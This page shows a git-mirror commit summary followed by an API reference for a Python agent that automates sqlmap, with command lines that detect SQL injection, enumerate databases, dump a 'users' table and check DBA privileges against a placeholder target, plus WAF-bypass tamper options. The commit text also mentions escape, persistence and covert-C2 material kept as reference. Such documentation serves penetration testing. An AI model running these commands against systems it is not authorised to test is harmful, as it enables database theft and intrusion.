mirror of
https://github.com/SHOGGOTH-SECTOR/sica-fondt.git
synced 2026-08-01 08:30:20 +00:00
24f816b6a3
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):
- brain/ LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
dispatch, A51 channels, and the OSINT cluster
- knowledge/ LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
MITRE ATT&CK data
- reference/ defensive threat-reference (C3, shhbruh doc) + AdaYaml parser
License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.
Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.
https://claude.ai/code/session_01UehUqEXXJJCsHoA4voCU5c
75 lines
2.1 KiB
Markdown
75 lines
2.1 KiB
Markdown
# API Reference: sqlmap Automation Agent
|
|
|
|
## Dependencies
|
|
|
|
| Library | Version | Purpose |
|
|
|---------|---------|---------|
|
|
| sqlmap | >=1.7 | SQL injection detection and exploitation (subprocess) |
|
|
|
|
## CLI Usage
|
|
|
|
```bash
|
|
# Detection scan
|
|
python scripts/agent.py --url "https://target.com/page?id=1" --param id --action detect
|
|
|
|
# Enumerate databases
|
|
python scripts/agent.py --url "https://target.com/page?id=1" --action dbs
|
|
|
|
# List tables
|
|
python scripts/agent.py --url "https://target.com/page?id=1" --action tables --database target_db
|
|
|
|
# Dump table rows
|
|
python scripts/agent.py --url "https://target.com/page?id=1" --action dump \
|
|
--database target_db --table users
|
|
|
|
# Check privileges
|
|
python scripts/agent.py --url "https://target.com/page?id=1" --action privs
|
|
```
|
|
|
|
## Functions
|
|
|
|
### `find_sqlmap() -> str`
|
|
Searches common paths for the sqlmap binary.
|
|
|
|
### `run_detection_scan(sqlmap_bin, url, param, request_file, cookie, tamper) -> dict`
|
|
Runs `sqlmap --batch --random-agent` and parses output for injectability, DB type, and techniques.
|
|
|
|
### `enumerate_databases(sqlmap_bin, url, param, cookie) -> list`
|
|
Runs `sqlmap --dbs` and extracts database names from output.
|
|
|
|
### `enumerate_tables(sqlmap_bin, url, database, param, cookie) -> list`
|
|
Runs `sqlmap -D db --tables` and parses table names.
|
|
|
|
### `dump_table(sqlmap_bin, url, database, table, columns, limit, param, cookie) -> dict`
|
|
Runs `sqlmap -D db -T tbl --dump --start=1 --stop=N`.
|
|
|
|
### `check_privileges(sqlmap_bin, url, param, cookie) -> dict`
|
|
Runs `--current-user --current-db --is-dba` to assess DB privileges.
|
|
|
|
## sqlmap Flags Used
|
|
|
|
| Flag | Purpose |
|
|
|------|---------|
|
|
| `--batch` | Non-interactive mode |
|
|
| `--random-agent` | Randomize User-Agent header |
|
|
| `-p` | Specify injectable parameter |
|
|
| `--tamper` | Apply WAF bypass tamper scripts |
|
|
| `--dbs` | Enumerate databases |
|
|
| `--tables` | Enumerate tables |
|
|
| `--dump` | Extract table data |
|
|
| `--is-dba` | Check DBA privileges |
|
|
|
|
## Output Schema
|
|
|
|
```json
|
|
{
|
|
"action": "detect",
|
|
"url": "https://target.com/page?id=1",
|
|
"result": {
|
|
"injectable": true,
|
|
"database": "MySQL",
|
|
"techniques": ["boolean-based", "UNION query"]
|
|
}
|
|
}
|
|
```
|